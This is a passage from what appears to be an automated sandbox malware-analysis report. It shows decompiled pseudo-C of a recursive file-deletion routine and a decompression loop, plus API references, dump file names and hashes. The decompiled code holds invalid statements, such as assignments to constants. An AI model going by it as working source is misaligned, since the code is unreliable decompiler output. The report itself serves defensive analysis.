				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405DC5(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x4702e8 =  *0x4702e8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E004063E8(0x456730, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405D09(_t68);
					} else {
						lstrcatW(0x456730, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x456730,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E004063E8(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405AB2(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E00405450(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x4702e8 =  *0x4702e8 + 1;
										} else {
											E00405450(0xfffffff1, _t68);
											E004061AE(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405AFA(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x456730 - 0x5c;
					if( *0x456730 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040672B(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405CBD(_t68);
							_t38 = E00405AB2(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E00405450(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E00405450(0xfffffff1, _t68);
							return E004061AE(_t67, _t68, 0);
						}
						L30:
						 *0x4702e8 =  *0x4702e8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405b04
0x00405b09
0x00405b12
0x00405b15
0x00405b1d
0x00405b20
0x00405b23
0x00405b2b
0x00405b2d
0x00405b2e
0x00000000
0x00405b2e
0x00405b39
0x00405b3c
0x00405b3c
0x00405b3c
0x00405b40
0x00405b53
0x00405b5a
0x00405b5f
0x00405b63
0x00405b73
0x00405b65
0x00405b6b
0x00405b6b
0x00405b78
0x00405b7c
0x00405b88
0x00405b8e
0x00405b93
0x00405b99
0x00405ba4
0x00405baa
0x00405bac
0x00405baf
0x00405c59
0x00405c59
0x00405c5d
0x00405c5f
0x00405c5f
0x00405c5f
0x00405c5f
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bb5
0x00405bb5
0x00405bb5
0x00405bbd
0x00405bdd
0x00405be5
0x00405bea
0x00405bf1
0x00405c0c
0x00405c11
0x00405c13
0x00405c37
0x00405c15
0x00405c15
0x00405c18
0x00405c2c
0x00405c1a
0x00405c1d
0x00405c25
0x00405c25
0x00405c18
0x00405bf3
0x00405bf9
0x00405bfb
0x00405c01
0x00405c01
0x00405bfb
0x00000000
0x00405bf1
0x00405bbf
0x00405bc7
0x00000000
0x00000000
0x00405bc9
0x00405bd1
0x00000000
0x00000000
0x00405bd3
0x00405bdb
0x00000000
0x00000000
0x00000000
0x00405c3c
0x00405c44
0x00405c4a
0x00405c4a
0x00405c53
0x00000000
0x00405c53
0x00405b7e
0x00405b86
0x00000000
0x00000000
0x00000000
0x00405b42
0x00405b42
0x00405b44
0x00405c64
0x00405c66
0x00405c69
0x00405cba
0x00405cba
0x00405cba
0x00405c6b
0x00405c6e
0x00405c79
0x00405c7e
0x00405c80
0x00000000
0x00000000
0x00405c83
0x00405c8f
0x00405c94
0x00405c96
0x00000000
0x00405cb1
0x00405c98
0x00405c9b
0x00000000
0x00000000
0x00405ca0
0x00000000
0x00405ca7
0x00405c70
0x00405c70
0x00000000
0x00405c70
0x00405b4a
0x00405b4d
0x00000000
0x00000000
0x00000000
0x00405b4d

APIs

DeleteFileW.KERNELBASE(?,?,004D5000,746AF560,00000000), ref: 00405B23
lstrcatW.KERNEL32(00456730,\*.*), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00456730,?,?,004D5000,746AF560,00000000), ref: 00405B94
FindFirstFileW.KERNELBASE(00456730,?,?,?,0040A014,?,00456730,?,?,004D5000,746AF560,00000000), ref: 00405BA4
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0gE, xrefs: 00405B53
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0gE$\*.*
API String ID: 2035342205-2711052210
Opcode ID: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction ID: db7c1e1462c3060b38713ca1582bdc14a6091e72a68d91c70f93002fb38cedfa
Opcode Fuzzy Hash: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction Fuzzy Hash: 7941F230805B18A6EB20AB618C89BAF7778DF41718F10813BF805711D2D77C59C28EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406AF2() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00407395))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
